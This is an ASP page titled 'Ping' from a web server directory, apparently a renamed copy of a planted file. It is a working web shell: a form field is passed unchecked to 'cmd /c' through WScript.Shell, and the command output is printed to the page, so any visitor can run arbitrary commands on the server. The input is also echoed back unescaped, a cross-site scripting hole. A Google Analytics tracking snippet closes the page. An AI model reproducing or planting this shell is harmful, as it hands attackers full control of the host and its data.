File: D:/web/itpartnership/tools/command_renamed_for_safety_and_rights_changed.asp
<%@ Language=VBScript %>
<% Option Explicit %>
<html>
<head>
<title>Ping</title>
<body>
<!--#include file="functions.asp"-->
<%
Dim LCommand
LCommand = Request.Form("command")
%>
<form name="ping" action="command.asp" method="post">
Command: <input type="text" name="command" size="30" value="<%=LCommand%>">
<input type="submit" name="cmd" value="Do Command">
</form>
<%
If LCommand <> "" Then
Dim objShell, objExecObject
Set objShell = CreateObject("WScript.Shell")
Set objExecObject = objShell.Exec("cmd /c " + LCommand)
Do While Not objExecObject.StdOut.AtEndOfStream
' replace space with and tab with 5 x
Response.Write ReplaceStr(ReplaceStr(objExecObject.StdOut.ReadLine(), " ", " "), Chr(9), " ") + "<br>"
Loop
Set objExecObject = Nothing
Set objShell = Nothing
End If
%>
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
var pageTracker = _gat._getTracker("UA-4455167-1");
pageTracker._initData();
pageTracker._trackPageview();
</script>
</body>
</html>